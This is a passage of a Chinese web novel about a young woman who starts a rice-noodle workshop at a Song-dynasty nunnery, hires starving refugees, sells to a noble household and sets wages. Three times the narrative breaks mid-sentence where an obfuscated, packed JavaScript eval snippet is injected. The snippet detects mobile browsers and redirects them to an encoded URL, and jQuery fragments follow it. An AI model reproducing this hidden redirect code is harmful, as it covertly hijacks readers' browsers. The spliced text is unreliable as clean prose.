妙善心里的警铃大作，“小娘子打听这个做什么？我可没苛扣他们的口粮，这个月的口粮官府都还没发放下来，眼下他们吃的可是我们庵里的存粮。” 王文茵注意到妙善脸上表情的变化，猜到她在担心什么，便道：“师太莫要误会，我是想跟师太做个交易。” 一听做交易，妙善脸色又变好了。 “小娘子想做什么交易？” 王文茵心里叹气，这个妙善师太心思全写在脸上，一点城府都没有。 “不如师太将官府配发给福田院的口粮交于我制作成米粉再分发给大家，可好？” “这……”妙善想了想，好像也没什么问题，反正口粮本来就不多，吃不饱也不是她的责任，便点头：“倒也可以。只是……为了避免出现任何可能的问题，我得找人监督，小娘子你不会反对吧？” “当然不反对。”王文茵很爽快：“师太大可派人每日监督我们分发口粮，毕竟这是您的职责所在。” 你知道就好，妙善在心里说。 于是，双方又一次愉快地达成了合作。 事后妙善回想起来总觉得哪里不对，但又说不上来，毕竟她没有任何损失，还减轻了负担。唯一让她感到不满的是静缘庵的米粉买卖与她这个静缘庵的住持一个铜板关系都没有，外人要是知道了真相，叫她这老脸往哪儿搁？ ****** 王文茵回到灶房时，张二嫂领着王大崔跟李三毛已经在门口等她了，不远处的院门口围聚着好些人，脸上都带着羡慕的表情。 一见到王文茵，王大崔跟李三毛就恭恭敬敬上来给她行大礼。 “两位阿叔，快别如此，我是晚辈，当不起你们这样的大礼。”王文茵将二人扶起。 李三毛红着眼比划手语，嘴里咿咿呀呀，又是鞠躬又是作揖，想表达他被录用的感激之情。 王大崔哽咽道：“承蒙小娘子看得起，肯赏我们两个废物一口饭吃，我们就是当牛做马也心甘情愿。” 聚在院门口的众人呼啦一下也围了上来，纷纷跪倒在王文茵面前，祈求： “小娘子，你也用我吧，我只想吃口饱饭。” “小娘子，只要给米粉吃，我什么都愿意干。” “小娘子，我年纪大，吃得少，你用我很合算。” …… “诸位阿叔、阿婶、阿爷、阿奶，大家都快请起。我这米粉买卖只是小本经营，用不了太多人手，还望大家见谅。” 王文茵试图扶起众人，大家却坚持跪着，面黄肌瘦的脸上露出哀戚的神情，纷纷恳求她：“小娘子行行好，给口饱饭吃吧。” 王文茵从来没见过这阵仗，一时有些不知所措。 这时，张二嫂跳了出来，手指着众人斥责：“你们这是在干嘛？王小娘子又不是大富大贵之人，她跟你我一样都是走投无路才来到此处。先前她病倒的时候你们有想过要为她做点什么吗？现在看她好了，都一个个跟蚂蟥似的想从她身上吸血，你们这些老东西就不羞愧吗？” 张二嫂的话狠狠打脸在场众人，所有人都知道张二嫂是对的，但他们实在太饿了，在饥饿面前自尊、羞耻又算得了什么。 于是，便有人道：“二婶子，你说得对，是我们这些老东西没脸没皮。先前王小娘子病危的时候我们都没施以援手，是我们对不起小娘子，小娘子大人有大量，请你原谅我们。” “小娘子，我们错了，请你原谅我们！” 众人纷纷磕头谢罪。 周婆子出来说：“小娘子，我们也不想为难你，我们这些老东西虽然都是废物，但肯定有你用得上的地方。只要你肯赏我们一口饭吃，我们必当尽心竭力！” 周婆子的话令张二嫂动容，都是穷困潦倒、无依无靠的可怜人，若不是走投无路，也不会流落至此。但她做不了主，只能巴巴看着王文茵，等她拿主意。 王文茵朝张二嫂点点头，表示自己明白她的意思，转身对众人说：“在场诸位都是我的长辈，承蒙大家看得起，不是我不想赏大家一口饭吃，而是眼下我的小作坊才刚开张，还不需要太多人手。但我可以答应大家，在我能力范围内，尽量为大家提供一份自食其力的活计，以解决大家的温饱问题。” 众人闻言，喜极而泣，泪湿湿又要下跪磕头，被王文茵阻止了。她让张二嫂给众人做个职业背景调查，看看大家过去都干过什么，有没有什么特长或手艺，以备不时之需。 遣散众人之后，王文茵才发现文家院公已派下人送来了做底汤码子所需的新鲜食材，一道陪同来的静尘冷眼旁观了刚刚发生的一幕，脸色十分古怪。 王文茵无暇理会静尘的想法，手脚利索地取出张二嫂帮她缝制的围裙系在腰间，随后将长发挽成高髻，以发带固定后再用素色苎麻头巾包裹住，最后用一根银索襻膊将衣袖收缚起来，一个干练清爽的小厨娘就出现在了众人面前。【注1】 从文家下人手中接过食材，道了声谢后，王文茵便顾自忙碌起来。 自觉无趣的静尘送走文家下人后，立刻转身去禅房将亲眼所见禀告给妙善。 妙善捻着佛珠，念了一句：“阿弥陀佛。王小娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822221|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子终究还是太年轻，不知世间人心险恶，怕是要吃大亏。” “师父是打算点醒她吗？” 妙善闭上眼，高深莫测地笑了：“吃一堑长一智，还是让她自己去领悟吧。” ****** 灶房这边，不知人心险恶的王小娘子已经在洗手作羹汤了。 制作清澈鲜美的底汤需要提前一日准备。王文茵将新鲜的筒子骨和老母鸡一起放入双耳釜中，单独置于红陶釜灶上，冷水下锅煮开后将肉块上的杂质清洗干净。随后再次加水煮开，撇净汤面的浮沫，再用小火熬煮一夜便成了。【注2】 准备完底汤，接下去就要做码子了。 肉丝粉码最好选用猪前腿肉来做，前腿肉质细腻柔软，脂肪含量适中，吃起来口感更鲜嫩。 王文茵并不擅长刀工，于是切肉丝这项重任就交给了张二嫂。 问题是张二嫂虽然经常在灶房里帮厨，但干的都是劈柴烧火的粗活，切肉丝这般精细的活她也干不来。这下可把王文茵给难住了，好在还有个备用人选。 “小娘子，周婆子先前曾在京城大户人家当过帮厨，她虽不是厨娘，但给厨娘打过下手，切肉丝这活铁定能干。”张二嫂将背调的结果告诉王文茵。 王文茵觉得可行，便让张二嫂将周婆子请来帮忙。 周婆子一听有活可干，二话不说就跟着张二嫂来了。 王文茵想试试周婆子的刀工，便给了一小块肉让她用菜刀均匀切成三分长短的细丝。【注3】 周婆子很利索地将肉丝切好，手指轻轻捻起一条，对着光让王文茵查验，脸上还带着一丝炫耀的笑。厚薄均匀、细如韧带的肉丝令王文茵很满意，便将切肉切米粉的重任交给了周婆子。 周婆子感激不尽，来静缘庵这么久，今日终于可以饱餐一顿了，还是从来没吃过的猪油拌米粉。想到这个周婆子干劲十足，手起刀落间仿佛又回到了年轻时在主人家的灶房打杂的岁月。 因为分工明确，灶房里井然有序。 李三毛磨米浆，周婆子掌刀工，张二嫂看灶火，王文茵蒸米粉，小小灶房，满满都是人间烟火味。 第一批鲜米粉出锅后，王文茵便让张二嫂拿去分发给福田院的众人。 张二嫂扯了扯王文茵的袖子，压低声音道：“小娘子，你可别糊涂，这些米粉都是要拿去卖的，怎么能用来做善事？” 王文茵抿嘴一笑，悄悄告诉她：“我已同妙善师太约定，从今儿起官府配发给福田院的口粮由我这儿做成米粉再分发给大家。米粉比较容易饱腹，口感也比籼米更好，我们只是费些柴火功夫，不碍事的。不然，若是只有我们几人天天吃饱，其他人饿着肚子，早晚会生出邪念，动歪脑筋，那样反而对我们不利。” 张二嫂一点就通，直夸王文茵想得周到。 于是，这天晚上福田院里的老弱病残们都吃上了香呼呼的猪油拌粉，再也无人去想该如何去偷灶房里的东西了。 另一边，王文茵将周婆子切好的肉丝加盐抓匀，放入大锅中加水煮开后撇去浮沫，再用文火慢慢地煨一个时辰，待出锅前再加盐调味即可。小火慢煨出来的猪肉，鲜香浓郁，码在原汤米粉上，令油脂的香味与底汤的鲜味完美融合，爽滑的米粉吸收了汤汁的精华，嗦一口下去，简直叫人欲罢不能。【注2】 试吃员张二嫂捧着空碗泪流满面，今日这碗原汤肉丝粉令她体验了一回原地飞升的感觉。 “小娘子，这哪是人吃的，这分明就是神仙才配吃的美味呀。” 王小娘子一本正经谦逊道：“不断提升食客的幸福指数正是本厨娘的职责所在。” 8. 第八章 制定工资 翌日寅时，天还没亮，王文茵偕同张二嫂、王大崔，推着满载米粉和原汤肉丝的轱辘车下山去送货了。 他们三人一路从村口挨家挨户上门送货，昨日预订鲜米粉的农户一共14家，按每户六口人折算，每人每顿一碗米粉（200克/碗），宋代底层人民一日只吃两顿饭，所以平均下来每户置换约四宋斤陈年籼米。【注1】 张二嫂提着一杆王文茵自制的简易杆秤，将鲜米粉与早籼米轮番装在竹篮里，另一头坠一块石头，简单粗暴又原始的以物换物就完成了。 送完村子里的米粉，接近卯时（日出，又名破晓，凌晨五点至七点），三人已经来到了文家山庄的大门口。护院一早就得了大管家的吩咐，见王文茵他们三人推着轱辘车到来，便将他们从偏门一路引入主人灶房所在的东院。 大管家早已在此等候，一见到王文茵就乐呵呵迎上前来，拱手道：“小娘子果真守信，说卯时前到就卯时前到。” 王文茵行了一礼，吟吟笑道：“院公过奖。”回身指了指车上用稻草麻布裹着的陶罐和木桶：“请院公清点货物。” 大管家走到轱辘车前，掀开两只陶罐的盖子，一只里面装的是莹白如玉的鲜米粉，另一只里面装的是肉丝码子，因天气寒冷码子表面已结了一层厚厚的肥白油脂。 大管家疑惑：“小娘子，这便是你说的底汤？” “不，这是码子。”王文茵打开另外那只木桶的盖子：“这才是底汤。” 底汤表层也漂浮着油脂，乍一看令人有些反胃，大管家的脸色有些不好看了：“小娘子，你确定这东西好吃？” 王文茵顿首：“底汤与码子皆由豚肉（猪肉）所制，冬日天气寒凉，豚肉里的油脂会凝固，待加热过后便会呈现出不同的效果。” 在北宋的上层阶级眼里豚肉（猪肉）是贱食，羊肉才是高贵的食物，尤其像文家这种官宦世家，别说主人连仆从下人都很少吃猪肉。是以王文茵提出做原汤肉丝粉需用到豚肉时，大管家是拒绝的，这么低贱的肉怎么能让老夫人食用？ 可王文茵再三保证，她能做出让他们改观的豚肉来，最后还是文安世拍板，把这事儿给定下了。 大管家拧眉看着王文茵将码子表面那层厚厚的油脂用勺子刮下来放入金碗中【注4】，撒了点葱花和盐提味，再舀几勺加热至滚烫的底汤进去冲开。随后用开水汆烫鲜米粉约六弹指（60秒）【注5】，捞出后用笊篱沥干水再配入汤汁内，最后将熬好的豚肉码子盖在原汤粉上，鲜香四溢的原汤肉丝粉就完成了。【注6】 王文茵将原汤肉丝粉送到大管家面前请他品尝。 张二嫂跟王大崔情不自禁地吞了吞口水。 大管家勉为其难地拿起筷子来尝了一口，脸上表情瞬间从嫌弃转为惊讶，不敢置信似的又吸了一大口汤汁，差点没把舌头给烫掉。 “小娘子，这汤粉……真的是用豚肉做的？” 王文茵眯着眼笑：“如假包换。” 大管家囫囵吞将一碗米粉嗦进肚子里，满足地长出一口气：“想不到豚肉居然能做出如此美味来，当真是鲜掉眉毛啊！” 王文茵几人掩嘴偷乐，心说：就知道会是这样！ 大管家亲自去给文老夫人送米粉，回来的时候喜不自禁，将一锭银子交给王文茵。 “我家老夫人很喜欢小娘子做的原汤肉丝米粉，吃了整整一碗，说是明天还想吃。这是三两银子，二两是定金，烦请小娘子明日再送80斤鲜米粉来。余下那一两是老夫人给小娘子的赏银。” 掌心里沉甸甸的银子更加坚定了王文茵把客户当成玉皇大帝的决心，于是提议道：“若是老夫人明日再吃原汤肉丝粉怕是容易腻味，不如换一种口味，院公觉得是否可行？” “可行！当然可行！”大管家十分欣喜：“小娘子还会做什么口味的米粉？” 王文茵掰着手指头细数：“若是汤粉嘛那便还有卤粉、鱼粉、烧汤粉、筒骨粉、杀猪粉、猪脚粉、猪杂粉、鸭肉粉、锅巴粉、牛肉粉、羊肉粉、腊肉粉、三鲜粉、木耳豆腐粉、酸菜鳝鱼粉、鸡杂银丝粉……只有想不到的，没有做不了的。”【注6】 “谢天谢地，小娘子你可是救了我一命！”大管家向王文茵作揖道：“我家老夫人一向挑嘴，举凡吃食不论是宫中的还是民间的她早已经吃腻味。只这米粉属实新鲜，若是每日变着花样做给她吃，必能令她胃口大开，长命百岁。” 王文茵心说，长命百岁不敢保证，胃口大开倒是没啥难度。 为了能让文老夫人每日都吃上新鲜美味的米粉，大管家特地辟出一间灶房供王文茵单独使用，还点了两名厨娘让她使唤。王文茵跟大管家约定，不给文老夫人提前剧透第二日将会吃到的米粉，让她老人家有种开盲盒般的惊喜。 吩咐帮厨将翌日所需食材提前准备好后，王文茵跟张二嫂他们满载而归了。 回到静缘庵后王文茵跟张二嫂一起清点了当日收回来的籼米数量，共计14户人家，每家收了大约4宋斤籼米，共计56宋斤，相当于六斗米。【注2】 张二嫂欣喜道：“小娘子，咱们今天一共赚了六斗米！” “不。”王文茵摇了摇头，边记账边算给张二嫂听：“今日给村里的农户送去56斤米粉，又给文家庄送去40斤米粉，共计96斤米粉。按一斤籼米出两斤米粉算，一共用了48斤籼米。一石籼米合92.5斤，那么差不多就是五斗籼米，这是咱们的食材成本。”【注2】 她从袖袋里掏出一块银子来：“今日一共收回来56斤也就是六斗籼米，再加上文家给的二两银子。减去成本五斗米，今日的收入应该是一斗米加二两银子。”【注7】 张二嫂眼珠子都快掉下来了：“才第一天开张就赚了这么多！” 王文茵笑道：“婶子，还有一部分成本没算进去呢。” “还有啥成本？” “人力成本。”王文茵将米粉作坊的员工名字登记在账目上：“咱们的小作坊里除了你、我，还有李三叔、王阿叔和周阿婆，五个人的工钱也是成本的一部分。” 张二嫂连连摆手：“不，小娘子，我不要工钱。你每天都让我们娘仨吃饱，我怎么还能管你要钱？” 王文茵笑了：“婶子，让你们吃饱是员工福利，不算在工钱里头。” 张二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822222|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂感动得说不出话来，扑通一声跪下要给王文茵磕头，“小娘子，你是我们娘仨的救命恩人！” 王文茵赶紧阻止她，“婶子，你快起来。你这动不动就磕头的毛病可得改一改了，不然传出去别人还以为我刻薄你呢。” 张二嫂嘿嘿笑，“我改！我一定改！” 王文茵提笔问道：“婶子，你可知现今雇人的工价？” 张二嫂点头，“大略知道。大户人家雇佣奴婢，包吃住一日工价140文左右，偶尔主人还给点赏钱，逢年过节一般都有红包；帮人洗衣缝补打扫，一日工价从几十到上百文钱不等；普通人做工每日收入差不多是一百文钱。”【注8】 王文茵点头，提笔写道：“那就按平均数开工资，王阿叔、周阿婆和李三叔的日薪都是100文；婶子你是掌柜，日薪是150文；我是老板，日薪200文。” “不成！小娘子，我的酬劳怎么能同你一样比其他人高许多。”张二嫂觉得自己不配跟王文茵平起平坐。 王文茵云淡风轻道：“别急，这不还有奖金呢，咱两年终奖不一样。” “啥叫年终奖？” “就是年底的分红。” “每日有工钱拿，年底还有分红？！”张二嫂简直不敢相信自己的耳朵。 “不止。”王文茵开始给她画大饼：“除了基本的日薪和年终奖，未来还会有其他福利，例如销售提成、公费医疗、企业团建等等。” 张二嫂：“？？？” “咳——”知道自己说漏嘴了，王文茵又把话圆了回来：“销售提成的意思是谁把米粉卖出去谁就能从中抽成，公费医疗就是员工看病由老板我来支付，至于企业团建嘛就是带着大家一起出去游山玩水。” 张二嫂心潮澎湃：“乖乖，小娘子，你这哪是做生意，根本就是在做慈善嘛。” 王文茵认真脸：“这叫增强企业的凝聚力。” 对王小娘子画的大饼，张二嫂深信不疑，就算没有这些奖金福利，她也心甘情愿跟着王小娘子。自打背井离乡成为流民，一路颠沛流离来到汴京谋生，她们娘仨就没吃过一顿饱饭。 没人愿意雇佣一个带着两个孩子的寡妇，辗转到了静缘庵这里做工，住持师太也只答应让她们免费借住在此，每日吃的跟其他人一样都是两顿稀饭。孩子们瘦得面黄肌瘦，做娘的心疼又无奈，恨只恨自己无能。若不是那天于心不忍，给王小娘子喂了一口稀饭，又怎会有如此好运。 可见做人还是要善良，善良的人总会有好报。 王文茵哪里猜得到张二嫂多愁善感的心理活动，她一心沉浸在自己画的大饼中乐不可□□句话咋说来着，梦想还是要有的，万一哪天就实现了呢，嘎嘎~~ 门口传来一阵轻微的敲门声，把王文茵从梦想的大饼里拉回现实。 来者是李三毛跟李阿萍父女。 王文茵正好要找他们谈工资待遇的事，结果李家父女倒先开了口。 李三毛手舞足蹈比划着，脸色十分激动，手语翻译李阿萍解释道：“小娘子，有件大事我们不敢瞒你。” 一听有大事，王文茵精神一振：“什么大事？” 9. 第九章 发工资了 原来早上王文茵她们下山去送货后没多久，妙善便将李三毛父女唤了过去。老尼姑旁敲侧击想从李三毛这儿打听米粉作坊的运作情况，没想到李三毛跟锯了嘴的葫芦一样，怎么拷问都不肯说，气得妙善把他们赶了出来。 “小娘子，俺爹说了，你是俺们全家的恩人，就是今日俺们全家被赶出静缘庵他也绝不做对你不利的事。”李阿萍铿锵有力地表忠心，心里隐隐期待王文茵给出热烈的反应。 然而，王文茵却只是云淡风轻地笑了笑。 倒是张二嫂反应激烈，磨着后槽牙骂道：“妙善这个老尼姑实在太不要脸了，居然想窃取咱们的商业机密。” 张二嫂对新鲜事物的接受能力令王文茵感到很是惊讶。“商业机密”这个词她不过随口提了一嘴，张二嫂居然已经能活学活用了。不错，孺子可教也。 她安抚似的拍了拍张二嫂的肩，“婶子，淡定，淡定。不是什么大事，无须太过紧张，气坏了身体不合算。” 张二嫂不解：“小娘子，这秘方可是咱们的核心技术啊，你怎么好像一点都不担心？” “嗐，米粉的制作方法，有心人想模仿，很容易就钻研出来了。”王文茵摆手：“这不算什么核心机密。” “那咱们的核心机密是什么？” “创新！只有不断推陈出新，才能立于不败之地。” 尽管听不懂，李阿萍还是表达了自己滔滔不绝的仰慕之情：“小娘子说得对！” 张二嫂好奇：“你知道小娘子在说什么吗？” “不知道。”李阿萍面不改色：“反正小娘子说什么都对！” 张二嫂简直无语，感情你就是王小娘子的脑残粉啊。 王文茵让张二嫂把周婆子跟王大崔都唤来，她们要召开第一次全体员工大会。 张二嫂刚踏出柴房的门，就看到周婆子在附近原地打转，还没等她叫唤，周婆子颠着脚过来将她拉到一旁求救。 “二婶子，大事不好了！” “啥事啊？” “今儿妙善师太将我唤去让我把你们做米粉的秘方偷偷告诉她。” 张二嫂已经对此见怪不怪了，掸了掸袖子上的灰，轻笑：“我还以为是什么大事呢，又是为这事啊。” 周婆子很吃惊：“怎么你已经知道了？” “啊。”张二嫂朝屋内努了努嘴：“李三毛已经交代过了。” 周婆子汗颜，她本想借此事为自己邀点功，不想却被李三毛捷足先登了，不免有些讪讪：“那小娘子怎么说？” “小娘子说，没什么可担心的。”张二嫂似笑非笑，问她：“你告密了吗？” “没！”周婆子指天发誓：“我要是出卖小娘子，我就不得好死！” 张二嫂很满意，笑着点了点头。 周婆子犹自忿忿：“妙善师太太看不起人了，我是那种为了五斗米就忘恩负义的人吗？” 张二嫂心说：那倒是，跟着王小娘子混比投靠妙善师太可好太多了，这不是人品问题，这是现实问题。 她拍拍周婆子的胳膊：“莫生气，莫生气，气坏自己不值得。” 周婆子讨好似的笑了笑：“二婶子，你可得将这事一五一十告诉小娘子呀。” “放心，我一定如实转告。” 周婆子松了一大口气，早上被妙善叫过去问话的时候，她的的确确有那么一瞬间动摇过。流落到静缘庵之前她在主人家的灶房里做了几十年帮工，虽然没能掌握厨娘的好手艺，但练就了一手精湛的刀工，一些简单的菜肴也是难不倒她的。 若不是后来主家被流放，她也不至于因为年纪大，腿脚不灵便，找不到可以养活自己的活计，不得已才沦落至此。刚来静缘庵的时候静尘师太还让她在灶房里掌过勺，后来又嫌弃她手脚慢，吃的多，便让手脚利索的张二嫂替代了她。 那帮老尼姑是山猪吃不了细糠，可怜她一手刀工竟无用武之地，还是王小娘子慧眼识珠。即便妙善许诺让她重掌灶房，犹豫再三后还是忍痛拒绝了，毕竟年纪摆在那儿。王小娘子虽然年轻，却是重情义守信用之人，跟着她至少每顿都能吃饱，她又何苦做那背信弃义之事。 “小娘子说要开员工大会，你先进去吧，我去把王大崔找来。”张二嫂说完就走了。 开员工大会是啥意思？周婆子带着一头雾水踏入灶房，发现李三毛父女也在。她有些心虚地朝王小娘子看去，发现王小娘子神色未见有异，心里的大石头总算落了地。 “阿婆，快请坐。”王文茵让王小郎君给周婆子找了块草垫子坐。 “使不得，小郎君，我自己来就行。” 周婆子接过草垫子小心翼翼挨着李三毛父女就地坐下来。 很快张二嫂带着王大崔也过来了。 还没进门王大崔的大嗓门就嚷嚷开了：“小娘子，大事不好！妙善师太她想偷你的……嗷——疼疼疼——” 王大崔痛呼，后半句话被张二嫂掐着胳膊肉给硬生生吞回了肚子里。 “瞎嚷嚷什么！”张二嫂不客气地瞪着王大崔：“就数你话最多，下次再乱说就不要你来做工了。” 王大崔赶紧低头认错，嬉皮笑脸道：“小的不敢，二婶子，你行行好，别赶我走，我保证以后再也不敢乱说话了。” 张二嫂哼一声：“知道就好。” 王文茵招呼大家就坐，一屋子的人坐在草垫子上围成了一个圈。 她站起来道：“今日召集大家过来开会主要是想宣布几件事。” 所有人都竖起了耳朵，除了张二嫂，其他人明显很紧张。 王文茵笑了笑，轻松道：“从今儿起咱们的米粉作坊就算正式成立了！” 王文茵带头啪啪啪鼓掌，其余众人互相看看对方，也学着有模有样的鼓起掌来。第一次做这么滑稽的动作，大家都有些不好意思，忍不住笑出来，气氛一下就轻松起来。 “下面我宣布张二嫂正式被任命为咱们米粉作坊的大掌柜。”王文茵将张二嫂推到众人面前：“今后大家都要听她指挥，有什么问题或困难都可以同她说。” 说完又是一阵鼓掌，王大崔鼓得尤其响亮。 张二嫂一开始还有点不好意思，在王文茵的鼓励下，她挺起胸膛，自信地发表了就职演说。 “首先，我要感谢小娘子让我来当米粉作坊的大掌柜，我保证一定不辜负小娘子的信任；其次，想同大家说，从今儿起咱们要卖出更多的米粉，咱们的目标不仅是吃饱，还要吃好；最后还有一个好消息要告诉大家……” 张二嫂故意卖了个关子，引得在座众人心痒难耐。 猴急的王大崔已经迫不及待催促起来：“二婶子，你就别吊我们胃口了，快说是啥好消息。” 张二嫂抿嘴笑了笑，道：“小娘子说了，米粉作坊的所有员工不仅包膳食，还有工钱拿。” 大家都不敢信，纷纷看向王文茵，追问：“是真的吗，小娘子？” 王文茵笑眯眯点头：“千真万确！” 所有人都激动起来。 王大崔问周婆子自己是不是听错了，他们居然还有工钱拿，周婆子表示自己也听到了工钱这两个字，应该是没错。 李阿萍打着手语将这个好消息告诉她爹李三毛，李三毛咿咿呀呀比划手势问了他闺女好几遍才确定自己没弄错。突然，他站起来跑到王文茵面前，扑通一声跪下给她磕头。 周婆子和王大崔也跟连锁反应似的扑通扑通下跪磕头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822223|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王文茵看了直叹气，这动不动就下跪磕头的坏毛病可得好好治一治。 没等王文茵发话，张二嫂先开口了：“快起来，快起来，你们这是干嘛？” 几个人都跪着不动，王大崔哽咽道：“小娘子是我的再生父母，我给她磕个头咋了？” 张二嫂发话：“小娘子说了，咱们作坊的员工讲究的是一个人人平等、不分贵贱！今后不许随便下跪磕头，凡下跪者罚十文！磕头就罚二十文！” 众人一听，感动坏了。王小娘子哪里是他们的再生父母，简直就是下凡来拯救苍生的仙女。不过，感动归感动，谁也不敢再下跪磕头了，毕竟下跪磕头可是要罚钱的。 “好了，好了，我话都还没说完呢，你们就激动成这样。”张二嫂忍着笑道：“你们就不想知道自己能领到多少工钱？” “想！当然想！” “那就赶紧坐好。”经过王文茵的调教，张二嫂俨然已经有了领导该有的威严。 几人又重新回到各自的草垫子上坐好。 张二嫂清了清嗓子，宣布：“李三毛。” “在！”李阿萍代替她爹应道。 “你的工钱是每日100文铜钱。”张二嫂装模作样拿着账本念起来，其实上面的字她一个都不认识。 李阿萍用手语告诉她爹，李三毛激动得差点滑跪，想到下跪要被罚钱，硬生生把弯曲的膝盖给挺直了。 “王大崔，你的工钱也是每日100文铜钱。” “好，不，太好……”王大崔激动得语无伦次。 “周阿婆，你的工钱跟其他人一样，也是每日100文。”张二嫂念完合上账本：“大家对自己的工钱可满意？” “满意！”李阿萍跟李三毛同时点头。 “很满意！”王大崔咧嘴大笑。 唯独周婆子一声不吭，低着头不知在想什么。 张二嫂奇怪，唤了她一声：“周阿婆，你咋了？” 周婆子这才抬起头，眼含泪花，羞愧道：“我对不住小娘子——” 话音未落她竟然扑通一声又跪下了。 张二嫂气得跺脚：“说了不许下跪，都还没拿工钱就想罚钱是咋滴？” “二婶子，你罚我，我对不住小娘子，我该罚！”周婆子老泪纵横。 王文茵上前将她扶起：“阿婆，你先说说，你是怎么对不住我了？” 周婆子终于将自己先前被妙善找去问话的心理挣扎都吐露了出来，说完感觉自己的心理压力减轻不少，“小娘子，实不相瞒我动摇过的，做灶房的掌勺是我这辈子最大的奢望。我已经这把年纪了，除了在静缘庵别处也不会有人肯让我一个老婆子做灶房的掌勺。” 王文茵失笑：“我还以为什么大事呢，不就是灶房的掌勺嘛，那就让你做咱们米粉作坊的掌勺呗。” 周婆子以为自己听错了：“小娘子，你让我做掌勺？” “啊。” “我不行。” “为什么不行？” “我除了刀工好，其他都不太行。” “刀工好就够了，其他可以再学。”王文茵问张二嫂：“掌柜的，你觉得如何？” “我觉得行。”张二嫂点头。 “那就这么愉快的决定了。” 王文茵宣布：“米粉作坊第一次全体员工大会到此圆满结束！今后就辛苦大家，我们一起努力争取过上更好的日子！” 全体成员热烈鼓掌。 所有人都很开心，从一无所有等着官府接济的流民到拥有一份能自食其力的工作，这样的转变带来的安全感才是他们活下去的原动力。 周婆子庆幸自己没站错队，张二嫂说的没错，跟着王小娘子才有饭吃。 10. 第十章 一碗鱼粉 事后张二嫂问王文茵为何不将销售提成、免费医疗、企业团建这些福利也一并告诉大家，这样大家岂不是更有动力？ 王文茵表示不能一次把饼画太大，开太多空头支票，若是最后无法兑现，大家就会因为失望而产生消极情绪，容易涣散人心。相反，逐渐增加大家的收入和福利，才会让员工对这份工作充满期待，干活也更加卖力。 张二嫂不得不佩服王文茵的远见，若不是年纪摆在那儿，她真想喊王小娘子一声姐。 员工动员大会结束后，张二嫂将李三毛跟王大崔的工作岗位做了调换。先前让王大崔负责送货是怕他话多嘴不牢，泄露米粉制作的秘方。现在看来是不用担心了，几名员工都经受住了考验。王大崔毕竟是瘸子，推轱辘车还是不太方便，需要张二嫂跟王文茵时不时护着车上的货物，以免翻倒，前功尽弃。 岗位调整后，灶房掌勺周婆子揽下了蒸制米粉和熬制底汤两样重任，同时还负责员工伙食；王大崔则负责磨米浆；张二嫂作为掌柜除了管理员工，平时就给周婆子打打下手，烧火晾米片什么的。 由于张二嫂跟李三毛都不识字，置换米粉需要有人记账称量，于是王小郎君就代替王文茵去给山下的村民们送货。 这么一安排虽然每日要支出去几百文的人工钱，但王文茵肩头的工作就轻松多了。她只需每日早上去文家庄为文老夫人制作各种新鲜风味的米粉便成，其余大部分时间她都投入到搞研发上，她要用最廉价易得的食材制作出这个时代还没有的美食和调料，比如酱油。【注1】 王文茵从太虚幻境中得知，后世的人将柴、米、油、盐、酱、醋、茶并称为宋朝人的开门七件事【注2】。这七件事中其余六件都已经是北宋人民日常生活中的必需品，唯独酱油还没正式出现。所以，这种特制的调料将成为她王文茵的独家专利秘密武器。 第二日一早，送货小分队准时从静缘庵出发，这次他们先绕道去文家庄送米粉。 不知道是出于对王文茵的信任还是有别的事要忙，大管家居然没在灶房前出现。不过这样也好，总有个人在旁边盯着，做事就放不开手脚，王文茵乐得轻松自在。 管家派给王文茵的两个名义上的帮厨其实是文老夫人从京城府里带来的厨娘，这一点王文茵从她们怠慢敷衍的态度上就看出来了。 两个厨娘对大管家让自己给一个小丫头当帮厨这件事很是不爽，昨日离开前王文茵嘱咐她们早上提前将鱼杀好，清理干净，再切块备用，因为她今天要做的是鱼粉。结果到了灶间却发现，鱼虽然已经杀好，但没做任何处理。 两个厨娘表示自己不会处理鱼，权因她们家老夫人嫌鱼肉味太腥，平常几乎不吃。 王文茵心知她们不满，也没放在心上，卷起袖子亲自动手将鱼鳞刮干净，再去除鱼鳃、内脏和鱼腹上的黑膜，最后抽去鱼背的白筋，连鱼的牙齿也一并扣除扔掉。 看到这里，其中一位厨娘忍不住开口询问：“小娘子为何将鱼背上的白筋和牙齿也去除了？” 王文茵笑了笑道：“待会儿你们就知道了。” 另一个厨娘撇撇嘴，使了个眼色让问话那个厨娘别管闲事，两个厨娘走到一旁躲清闲去了。 将鱼清洗干净后，王文茵本想把鱼切成块，奈何她手劲不足，菜刀又太过笨重，只好放弃。所幸今日这鱼个头不算大，就算整条下锅也不打紧。 案几上已经备好了葱姜蒜【注3】、生酒【注4】和猪油。 